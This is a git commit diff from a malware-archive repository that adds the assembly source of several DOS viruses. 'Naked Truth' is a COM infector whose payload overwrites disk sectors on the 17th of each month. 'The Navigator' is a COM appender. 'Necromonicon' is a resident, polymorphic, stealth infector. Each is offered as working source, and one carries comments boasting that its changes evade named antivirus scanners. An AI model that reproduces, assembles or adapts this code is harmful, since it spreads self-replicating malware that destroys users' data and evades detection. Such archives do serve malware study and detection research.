re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
@@ -0,0 +1,245 @@
; VirusName : Naked Truth
; Country : Sweden
; Author : The Unforiven / Immortal Riot
; Date : 17/09/1993
;
; This is a mutation of the virus Born on the Fourth of July
; This was written by TBSI. Mcafee scan used to find it as the
; "ash" virus. But I changed on a few bytes, and he's now tricked.
; Dr Alan Salomon "string" where placed at the beginning
; of the code, but now he's cheated too..So...enjoy!
;
; This is a non-overwriting com infector, it is not resident.
; It checks which day it is, and if it is the 17:ten the
; virus will have a redeeming. A redeeming is very nice.
;
; This might not be the best mutation, but afterall, it
; cheats the most common virus scanners. This was born
; the seventeen of September 1993 (hate all date-names)
;
; Scan v108 can't find this, neither can S&S Toolkit 6.54,
; havn't tried with TBScan/F-Prot, but they will probably
; identify it as the "ash" virus.
;
; Regards : The Unforgiven / Immortal Riot
code segment word public 'code' ;
assume cs:code,ds:code ; I assume that too :)
org 100h ;
main proc;edure ; Old pascal coder ?
TITLE Naked Truth ;Mutation Name...
TOF: ;Top-Of-File
jmp short begin ;Skip over program
NOP ;Reserve 3rd byte
EOFMARK: db 26 ;Disable DOS's TYPE
DB 0 ; <- S&S Toolkit "String-Cheater".
first_four: nop ;First run copy only!
address: int 20h ;First run copy only!
check: nop ;First run copy only!
begin: call nextline ;Push BP onto stack
nextline: pop bp ;BP=location of Skip
sub bp,offset nextline ;BP=offset from 1st run
mov byte ptr [bp+offset infected],0
;Reset infection count
lea si,[bp+offset first_four] ;Original first 4 bytes
mov di,offset tof ;TOF never changes
mov cx,4 ;Lets copy 4 bytes
cld ;Read left-to-right
rep movsb ;Copy the 4 bytes
mov ah,1Ah ;Set DTA address ...
lea dx,[bp+offset DTA] ; ... to *our* DTA
int 21h ;Call DOS to set DTA
mov ah,4Eh ;Find First ASCIIZ
lea dx,[bp+offset immortal] ;DS:DX -} '*.COM',0
lea si,[bp+offset filename] ;Point to file
push dx ;Save DX
jmp short continue ;Continue...
return:
mov ah,1ah ;Set DTA address ...
mov dx,80h ; ... to default DTA
int 21h ;Call DOS to set DTA
xor ax,ax ;AX= 0
mov bx,ax ;BX= 0
mov cx,ax ;CX= 0
mov dx,ax ;DX= 0
mov si,ax ;SI= 0
mov di,ax ;DI= 0
mov sp,0FFFEh ;SP= 0
mov bp,100h ;BP= 100h (RETurn addr)
push bp ; Put on stack
mov bp,ax ;BP= 0
ret ;JMP to 100h
nextfile: or bx,bx ;Did we open the file?
jz skipclose ;No, so don't close it
mov ah,3Eh ;Close file
int 21h ;Call DOS to close it
xor bx,bx ;Set BX back to 0
skipclose: mov ah,4Fh ;Find Next ASCIIZ
continue: pop dx ;Restore DX
push dx ;Re-save DX
xor cx,cx ;CX= 0
xor bx,bx
int 21h ;Find First/Next
jnc skipjmp
jmp NoneLeft ;Out of files
skipjmp: mov ax,3D02h ;open file
mov dx,si ;point to filespec
int 21h ;Call DOS to open file
jc nextfile ;Next file if error
mov bx,ax ;get the handle
mov ah,3Fh ;Read from file
mov cx,4 ;Read 4 bytes
lea dx,[bp+offset first_four] ;Read in the first 4
int 21h ;Call DOS to read
cmp byte ptr [bp+offset check],26 ;Already infected?
je nextfile ;Yep, try again
cmp byte ptr [bp+offset first_four],77 ;
je nextfile ;
mov ax,4202h ;LSeek to EOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
cmp ax,0FD00h ;Longer than 63K?
ja nextfile ;Yep, try again...
mov [bp+offset addr],ax ;Save call location
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;Point to buffer
int 21h ;Save the first 4 bytes
mov ah,40h ;Write to file
mov cx,offset eof-offset begin ;Length of target code
lea dx,[bp+offset begin] ;Point to virus start
int 21h ;Append the virus
mov ax,4200h ;LSeek to TOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
mov ax,[bp+offset addr] ;Retrieve location
inc ax ;Adjust location
mov [bp+offset address],ax ;address to call
mov byte ptr [bp+offset first_four],0E9h ;JMP rel16
mov byte ptr [bp+offset check],26 ;EOFMARK
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;4 bytes are at DX
int 21h ;Write to file
inc byte ptr [bp+offset infected] ;increment counter
jmp nextfile ;Any more?
NoneLeft: cmp byte ptr [bp+offset infected],2 ;2 infected
jae TheEnd ;Party over!
mov di,100h ;DI= 100h
cmp word ptr [di],20CDh ;an INT 20h?
je daycheck ;je daycheck
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; Here instead of "JE" to theend here, jump to Daycheck, and if the day
; isn't the 17:ten, just continue to theend, but if it is, have phun...
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
lea dx,[bp+offset riot] ;dot-dot method..
; MOV DX,OFFSET RIOT ;shitty liner..
mov ah,3Bh ;Set current directory
int 21h ;CHDIR ..
jc TheEnd ;We're through!
mov ah,4Eh ;check for first com
jmp continue ;Start over in new dir
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; If you want to get a redeeming on some special month, just look at the
; call to daycheck at "nonleft" and the call to daycheck. Change the call
; to monthcheck, and "delete" the ";" on procedure monthcheck. But
; remember, that makes, the virus much less destructive, and by that time,
; all scanners has probably added a new scan-string on this one. Now it will
; go off the 17:th every month. Feel free to modify this date as much you
; want to.
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄ--ÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä-ÄÄ-
; monthcheck: ; check what month it is..
; mov ah,2ah ;
; int 21h ; dos to your service..
; cmp dh,10 ; check if month 10..
; je daycheck ; if yes jump to day check
; jmp theend ; otherwise jump to theend.
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
DAYCHECK: ; Check what day it is..
mov ah,2ah ;
int 21h ; Dos to your service..
cmp dl,17 ; Check if it's the forbidden night..
je redeeming ; If yes, have a great fuck..
jmp theend ; Otherwise jump to theend
REDEEMING: ; Havi'n such a great fuck..
cli ; Cleaning all interrupts..>
mov ah,2 ; Starting with drive C
cwd ; Starting it from 0
mov cx,0100h ; Continue to 256
int 026h ; Direct disk-write
jmp KARO ; Jump For Joy..(J4J)..
KARO: ; Yet another..
CLI ; No law-breakers here!
MOV AL,3 ; Set to fry drive D
MOV CX,700 ; Set to write 700 sectors
MOV DX,00 ; Starting at sector 0
MOV DS,[DI+99] ; Put random crap in DS
MOV BX,[DI+55] ; More crap in BX
CALL REDEEMING ; Start it all over..
TheEnd: jmp return ; Getting a gold medal ?
Immortal: db '*.COM',0 ;File Specification
Riot: db '..',0 ;'Dot-Dot'
MutationName: db " Naked Truth! "
Sizefilling: db " Hi-Tech Assasins - Ready To Take On The World "
morefilling: db " // DEATH TO ALL - PEACE AT LAST // "
Copyleft: db ' The Unforgiven / Immortal Riot '
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; None of this information is included in the virus's code. It is only
; used during the search/infect routines and it is not necessary to pre-
; serve it in between calls to them.
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
EOF: ;End Of File..
DTA: db 21 dup (?) ;internal search's data
attribute db ? ;attribute
file_time db 2 dup (?) ;file's time stamp
file_date db 2 dup (?) ;file's date stamp
file_size db 4 dup (?) ;file's size
filename db 13 dup (?) ;filename
infected db ? ;infection count
addr dw ? ;Address
main endp;rocedure
code ends;egment
end main
; Greets goes out to : Raver, Metal Militia, Scavenger
; and all other hi-tech assasins all over the world...
File diff suppressed because it is too large Load Diff
+201
View File
@@ -0,0 +1,201 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;****************************************************************************
;* The Navigator *
;* *
;* Assembled with Tasm 2.5 *
;* *
;* (c) 1992 Dark Helmet, The Netherlands *
;* The author takes no responsibilty for any damages caused by the virus *
;* *
;* Special greetings to : *
;* Glenn Benton, XSTC for their nice source and viruses, *
;* Peter Venkman for his BBS, Marcel and Ziggy for keeping me of the *
;* work, Guns and Roses for their great music, *
;* and al the other viruswriters... *
;* *
;* " Trust me...I know what I'm doing" *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Coming soon : The Anti-DAF Virus *
;* Civil War II *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Used Books : - MSDOS voor gevorderen (tweede editie) *
;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) *
;* - PC Handboek voor programmeurs *
;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) *
;* - Werken met Turbo Assembler *
;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) *
;* *
;****************************************************************************
.Radix 16
Navigator Segment
Assume cs:Navigator, ds:Navigator,
org 100h
len equ offset last - begin
Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h
Begin: call virus
Virus: pop bp
sub bp,109h
mov dx,0fe00h
mov ah,1ah
int 21h
Restore_begin: mov di,0100h
lea si,ds:[buffer+bp]
mov cx,06h
rep movsb
First: lea dx,[com_mask+bp]
mov ah,04eh
xor cx,cx
int 21h
Open_file: mov ax,03d02h
mov dx,0fe1eh
int 21h
mov [handle+bp],ax
xchg ax,bx
Read_date: mov ax,05700h
int 21h
mov [date+bp],dx
mov [time+bp],cx
Check_infect: mov bx,[handle+bp]
mov ah,03fh
mov cx,06h
lea dx,[buffer+bp]
int 21h
mov al,byte ptr [buffer+bp]+3
mov ah,byte ptr [buffer+bp]+4
cmp ax,[initials+bp]
jne infect_file
Close_file: mov bx,[handle+bp]
mov ah,3eh
int 21h
Next_file: mov ah,4fh
int 21h
jnb open_file
jmp exit
Infect_file: mov ax,word ptr [cs:0fe1ah]
sub ax,03h
mov [lenght+bp],ax
mov ax,04200h
call move_pointer
Write_jump: mov ah,40h
mov cx,01h
lea dx,[jump+bp]
int 21h
mov ah,40h
mov cx,02h
lea dx,[lenght+bp]
int 21h
mov ah,40
mov cx,02h
lea dx,[initials+bp]
int 21h
Write_virus: mov ax,4202h
call move_pointer
mov ah,40h
mov cx,len
lea dx,[begin+bp]
int 21h
restore_date: mov dx,[date+bp]
mov cx,[time+bp]
mov bx,[handle+bp]
mov ax,05701h
int 21h
exit: mov bx,0100h
jmp bx
;----------------------------------------------------------------------------
move_pointer: mov bx,[handle+bp]
xor cx,cx
xor dx,dx
int 21h
ret
;----------------------------------------------------------------------------
com_mask db "*.com",0
handle dw ?
date dw ?
time dw ?
buffer db 090h,0cdh,020h,044h,048h,00h
initials dw 4844h
lenght dw ?
jump db 0e9h,0
msg db "The Navigator, (c) 1992 Dark Helmet",0
last db 090h
Navigator ends
end dummy
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
@@ -0,0 +1,161 @@
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;****************************************************************************
;* The Navigator *
;* *
;* Assembled with Tasm 2.5 *
;* *
;* (c) 1992 Dark Helmet, The Netherlands *
;* The author takes no responsibilty for any damages caused by the virus *
;* *
;* Special greetings to : *
;* Glenn Benton, XSTC for their nice source and viruses, *
;* XXXXXXXXXXXXX for his BBS, Marcel and Ziggy for keeping me of the *
;* work, Guns and Roses for their great music, *
;* and al the other viruswriters... *
;* *
;* " Trust me...I know what I'm doing" *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Coming soon : The Anti-DAF Virus *
;* Civil War II *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Used Books : - MSDOS voor gevorderen (tweede editie) *
;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) *
;* - PC Handboek voor programmeurs *
;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) *
;* - Werken met Turbo Assembler *
;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) *
;* *
;****************************************************************************
.Radix 16
Navigator Segment
Assume cs:Navigator, ds:Navigator,
org 100h
len equ offset last - begin
Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h
Begin: call virus
Virus: pop bp
sub bp,109h
mov dx,0fe00h
mov ah,1ah
int 21h
Restore_begin: mov di,0100h
lea si,ds:[buffer+bp]
mov cx,06h
rep movsb
First: lea dx,[com_mask+bp]
mov ah,04eh
xor cx,cx
int 21h
Open_file: mov ax,03d02h
mov dx,0fe1eh
int 21h
mov [handle+bp],ax
xchg ax,bx
Read_date: mov ax,05700h
int 21h
mov [date+bp],dx
mov [time+bp],cx
Check_infect: mov bx,[handle+bp]
mov ah,03fh
mov cx,06h
lea dx,[buffer+bp]
int 21h
mov al,byte ptr [buffer+bp]+3
mov ah,byte ptr [buffer+bp]+4
cmp ax,[initials+bp]
jne infect_file
Close_file: mov bx,[handle+bp]
mov ah,3eh
int 21h
Next_file: mov ah,4fh
int 21h
jnb open_file
jmp exit
Infect_file: mov ax,word ptr [cs:0fe1ah]
sub ax,03h
mov [lenght+bp],ax
mov ax,04200h
call move_pointer
Write_jump: mov ah,40h
mov cx,01h
lea dx,[jump+bp]
int 21h
mov ah,40h
mov cx,02h
lea dx,[lenght+bp]
int 21h
mov ah,40
mov cx,02h
lea dx,[initials+bp]
int 21h
Write_virus: mov ax,4202h
call move_pointer
mov ah,40h
mov cx,len
lea dx,[begin+bp]
int 21h
restore_date: mov dx,[date+bp]
mov cx,[time+bp]
mov bx,[handle+bp]
mov ax,05701h
int 21h
exit: mov bx,0100h
jmp bx
;----------------------------------------------------------------------------
move_pointer: mov bx,[handle+bp]
xor cx,cx
xor dx,dx
int 21h
ret
;----------------------------------------------------------------------------
com_mask db "*.com",0
handle dw ?
date dw ?
time dw ?
buffer db 090h,0cdh,020h,044h,048h,00h
initials dw 4844h
lenght dw ?
jump db 0e9h,0
msg db "The Navigator, (c) 1992 Dark Helmet",0
last db 090h
Navigator ends
end dummy
;****************************************************************************;
;****************************************************************************;
@@ -0,0 +1,30 @@
;[Death Virii Crew] Presents
;CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997
brkem macro inter
db 0fh,0ffh,inter
endm brkem
retem macro
db 0edh,0fdh
endm retem
int86 macro oper8
db 0edh,0edh
db oper8
endm
int21h macro _ax,_cx,_dx
_lxi_b _ax
_push_b
_lxi_b _cx
_push_b
_lxi_b _dx
_push_b
int86 88h
endm
; (c) by Reminder [DVC]
@@ -0,0 +1,417 @@
;
; Necromonicon Virus by John Tardy
;
Org 0h
decr: jmp Crypt
db 'Carcass'
Loopje DB 0e2h
db 0fah
DecrLen Equ $-Decr
Crypt: Push Ax
call Get_Ofs
Get_Ofs: pop Bp
sub Bp,Get_Ofs
Mov Ax,0DEADh
Int 21h
Cmp Ax,0AAAAh
Je Installed
mov ax,3521h
int 21h
mov word ptr cs:old21[bp],bx
mov word ptr cs:old21[bp][2],es
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0000],'Z'
jne installed
mov ax,word ptr ds:[0003]
sub ax,ParLen
jb installed
mov word ptr ds:[0003],ax
sub word ptr ds:[0012h],ParLen
lea si,decr[bp]
mov di,0
mov es,ds:[12h]
mov ds,cs
mov cx,virlen
cld
rep movsb
mov ax,2521h
mov ds,es
mov dx,offset new21
int 21h
push es
Mov Ax,351ch
Int 21h
Mov Word Ptr OldInt1c[0],Bx
Mov Word Ptr OldInt1c[2],Es
Mov Ax,251ch
Lea Dx,NewInt1c
Pop Ds
Int 21h
Installed: Mov Di,100h
Lea Si,Org_Prg[Bp]
Push Cs
Push Cs
Pop Ds
Pop Es
Cld
Movsw
Movsb
Mov Bx,100h
Pop Ax
Push Bx
Ret
OldInt1c DD 0
NewInt1c: Pushf
Push Ds
Push Ax
Xor Ax,Ax
Push Ax
Pop Ds
Mov Ax,Word Ptr Ds:[46ch]
Dec Word Ptr Ds:[46ch]
Dec Word Ptr Ds:[46ch]
Cmp Ax,Word Ptr Ds:[46ch]
Ja EOI1C
Dec Word Ptr Ds:[46eh]
EOI1C: Pop Ax
Pop Ds
Popf
Iret
Old21 dd 0
New21: cmp ax,0deadh
jne chkfunc
mov ax,0aaaah
mov cx,ax
iret
chkfunc: cmp ah,11h
je findFCBst
cmp ah,12h
je findfcbst
cmp ah,4eh
je findst
cmp ah,4fh
je findst
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
cmp ah,3dh
je infectHan
cmp ax,4b00h
je infectHan
cmp ah,41h
je infectHan
cmp ah,43h
je infectHan
cmp ah,56h
je infectHan
cmp ah,0fh
je infectFCB
cmp ah,23h
je infectFCB
cmp ah,6ch
je infectdos4
jmp endint
findfcbst: jmp findfcb
findst: jmp find
InfectFCB: mov si,dx
inc si
push cs
pop es
lea di,fnam
mov cx,8
rep movsb
mov cx,3
inc di
rep movsb
lea dx,fnam
push cs
pop ds
InfectHan: mov si,dx
mov cx,100h
cld
findpnt: lodsb
cmp al,'.'
je chkcom
loop findpnt
jmp endi
infectdos4: and dx,0fh
cmp dx,1
jne endi
mov dx,si
jmp infecthan
chkcom: lodsw
or ax,2020h
cmp ax,'oc'
jne endi
lodsb
or al,20h
cmp al,'m'
jne endi
jmp doitj
endi: jmp endint
doitj: push dx
push ds
mov ax,4300h
call dos
mov cs:fatr,cx
mov ax,4301h
xor cx,cx
call dos
mov ax,3d02h
call dos
jnc getdate
jmp error
getdate: xchg ax,bx
mov ax,5700h
call dos
mov cs:fdat,cx
mov cs:fdat[2],dx
and cx,1fh
cmp cx,1fh
jne chkexe
jmp done
chkexe: mov ah,3fh
push cs
pop ds
lea dx,Org_prg
mov cx,3
call dos
cmp word ptr cs:Org_prg[0],'ZM'
je close
cmp word ptr cs:Org_prg[0],'MZ'
je close
Mov ax,4202h
xor cx,cx
xor dx,dx
call dos
sub ax,3
mov cs:jump[1],ax
Add Ax,Offset Crypt+103h
Mov S_1[1],Ax
Mov S_2[1],Ax
Mov S_3[4],Ax
Mov S_4[4],Ax
Call GenPoly
mov ah,40h
push cs
pop ds
lea dx,coder
mov cx,virlen
call dos
mov ax,4200h
xor cx,cx
xor dx,dx
call dos
mov ah,40h
lea dx,jump
mov cx,3
call dos
or cs:fdat,01fh
close: mov ax,5701h
mov cx,cs:fdat
mov dx,cs:fdat[2]
call dos
done: mov ah,3eh
call dos
pop ds
pop dx
push dx
push ds
mov ax,4301h
mov cx,fatr
call dos
error: pop ds
pop dx
endint: pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old21]
GenPoly: Xor Byte Ptr [Loopje],2
Xor Ax,Ax
Mov Es,Ax
Mov Ax,Es:[46ch]
Mov Es,Cs
Push Ax
And Ax,07ffh
Add Ax,CryptLen
Mov S_1[4],Ax
Mov S_2[4],Ax
Mov S_3[1],Ax
Mov S_4[1],Ax
Doit: Pop Ax
Push Ax
And Ax,3
Shl Ax,1
Mov Si,Ax
Mov Ax,Word Ptr Table[Si]
Mov Si,Ax
Lea Di,decr
Movsw
Movsw
Movsw
Movsw
Pop Ax
Stosb
Movsb
Mov Dl,Al
Lea Si,Decr
Lea Di,Coder
Mov Cx,DecrLen
Rep Movsb
Lea Si,Crypt
Mov Cx,CryptLen
Encrypt: Lodsb
Xor Al,Dl
Stosb
Loop Encrypt
Cmp Dl,0
Je Fuckit
Ret
FuckIt: Lea Si,Encr0
Lea Di,Coder
Mov Cx,Encr0Len
Rep Movsb
Mov Ax,Cs:jump[1]
Add Ax,Encr0Len+2
Mov Cs:jump[1],Ax
Ret
Table DW Offset S_1
DW Offset S_2
DW Offset S_3
DW Offset S_4
S_1: Lea Si,0
Mov Cx,0
DB 80h,34h
Inc Si
S_2: Lea Di,0
Mov Cx,0
DB 80h,35h
Inc Di
S_3: Mov Cx,0
Lea Si,0
DB 80h,34h
Inc Si
S_4: Mov Cx,0
Lea Di,0
DB 80h,35h
Inc Di
Db '[ '
Encr0 Db 'John Tardy'
Encr0Len Equ $-Encr0
Db ' / Trident'
Db ' ]'
getdta: pop si
pushf
push ax
push bx
push es
mov ah,2fh
call dos
jmp short si
FindFCB: call DOS
cmp al,0
jne Ret1
call getdta
cmp byte ptr es:[bx],-1
jne FCBOk
add bx,8
FCBOk: mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ch],Virlen
sbb word ptr es:[bx+1eh],0
jmp short Time
Find: call DOS
jc Ret1
call getdta
mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ah],VirLen
sbb word ptr es:[bx+1ch],0
Time: xor byte ptr es:[bx+16h],10h
FileOk: pop es
pop bx
pop ax
popf
Ret1: retf 2
Db '| Trapped in a spell of the Necromonicon |'
dos: pushf
call dword ptr cs:[old21]
ret
Org_prg dw 0cd90h
db 20h
fnam db 8 dup (0)
db '.'
db 3 dup (0)
db 0
fatr dw 0
fdat dw 0,0
jump db 0e9h,0,0
ResLen Equ ($-Decr)/10h
ParLen Equ (Reslen*2)+10h
CryptLen Equ $-Crypt
VirLen Equ $-Decr
Coder Equ $
@@ -0,0 +1,417 @@
;
; Necromonicon Virus by John Tardy
;
Org 0h
decr: jmp Crypt
db 'Carcass'
Loopje DB 0e2h
db 0fah
DecrLen Equ $-Decr
Crypt: Push Ax
call Get_Ofs
Get_Ofs: pop Bp
sub Bp,Get_Ofs
Mov Ax,0DEADh
Int 21h
Cmp Ax,0AAAAh
Je Installed
mov ax,3521h
int 21h
mov word ptr cs:old21[bp],bx
mov word ptr cs:old21[bp][2],es
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0000],'Z'
jne installed
mov ax,word ptr ds:[0003]
sub ax,ParLen
jb installed
mov word ptr ds:[0003],ax
sub word ptr ds:[0012h],ParLen
lea si,decr[bp]
mov di,0
mov es,ds:[12h]
mov ds,cs
mov cx,virlen
cld
rep movsb
mov ax,2521h
mov ds,es
mov dx,offset new21
int 21h
push es
Mov Ax,351ch
Int 21h
Mov Word Ptr OldInt1c[0],Bx
Mov Word Ptr OldInt1c[2],Es
Mov Ax,251ch
Lea Dx,NewInt1c
Pop Ds
Int 21h
Installed: Mov Di,100h
Lea Si,Org_Prg[Bp]
Push Cs
Push Cs
Pop Ds
Pop Es
Cld
Movsw
Movsb
Mov Bx,100h
Pop Ax
Push Bx
Ret
OldInt1c DD 0
NewInt1c: Pushf
Push Ds
Push Ax
Xor Ax,Ax
Push Ax
Pop Ds
Mov Ax,Word Ptr Ds:[46ch]
Dec Word Ptr Ds:[46ch]
Dec Word Ptr Ds:[46ch]
Cmp Ax,Word Ptr Ds:[46ch]
Ja EOI1C
Dec Word Ptr Ds:[46eh]
EOI1C: Pop Ax
Pop Ds
Popf
Iret
Old21 dd 0
New21: cmp ax,0deadh
jne chkfunc
mov ax,0aaaah
mov cx,ax
iret
chkfunc: cmp ah,11h
je findFCBst
cmp ah,12h
je findfcbst
cmp ah,4eh
je findst
cmp ah,4fh
je findst
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
cmp ah,3dh
je infectHan
cmp ax,4b00h
je infectHan
cmp ah,41h
je infectHan
cmp ah,43h
je infectHan
cmp ah,56h
je infectHan
cmp ah,0fh
je infectFCB
cmp ah,23h
je infectFCB
cmp ah,6ch
je infectdos4
jmp endint
findfcbst: jmp findfcb
findst: jmp find
InfectFCB: mov si,dx
inc si
push cs
pop es
lea di,fnam
mov cx,8
rep movsb
mov cx,3
inc di
rep movsb
lea dx,fnam
push cs
pop ds
InfectHan: mov si,dx
mov cx,100h
cld
findpnt: lodsb
cmp al,'.'
je chkcom
loop findpnt
jmp endi
infectdos4: and dx,0fh
cmp dx,1
jne endi
mov dx,si
jmp infecthan
chkcom: lodsw
or ax,2020h
cmp ax,'oc'
jne endi
lodsb
or al,20h
cmp al,'m'
jne endi
jmp doitj
endi: jmp endint
doitj: push dx
push ds
mov ax,4300h
call dos
mov cs:fatr,cx
mov ax,4301h
xor cx,cx
call dos
mov ax,3d02h
call dos
jnc getdate
jmp error
getdate: xchg ax,bx
mov ax,5700h
call dos
mov cs:fdat,cx
mov cs:fdat[2],dx
and cx,1fh
cmp cx,1fh
jne chkexe
jmp done
chkexe: mov ah,3fh
push cs
pop ds
lea dx,Org_prg
mov cx,3
call dos
cmp word ptr cs:Org_prg[0],'ZM'
je close
cmp word ptr cs:Org_prg[0],'MZ'
je close
Mov ax,4202h
xor cx,cx
xor dx,dx
call dos
sub ax,3
mov cs:jump[1],ax
Add Ax,Offset Crypt+103h
Mov S_1[1],Ax
Mov S_2[1],Ax
Mov S_3[4],Ax
Mov S_4[4],Ax
Call GenPoly
mov ah,40h
push cs
pop ds
lea dx,coder
mov cx,virlen
call dos
mov ax,4200h
xor cx,cx
xor dx,dx
call dos
mov ah,40h
lea dx,jump
mov cx,3
call dos
or cs:fdat,01fh
close: mov ax,5701h
mov cx,cs:fdat
mov dx,cs:fdat[2]
call dos
done: mov ah,3eh
call dos
pop ds
pop dx
push dx
push ds
mov ax,4301h
mov cx,fatr
call dos
error: pop ds
pop dx
endint: pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old21]
GenPoly: Xor Byte Ptr [Loopje],2
Xor Ax,Ax
Mov Es,Ax
Mov Ax,Es:[46ch]
Mov Es,Cs
Push Ax
And Ax,07ffh
Add Ax,CryptLen
Mov S_1[4],Ax
Mov S_2[4],Ax
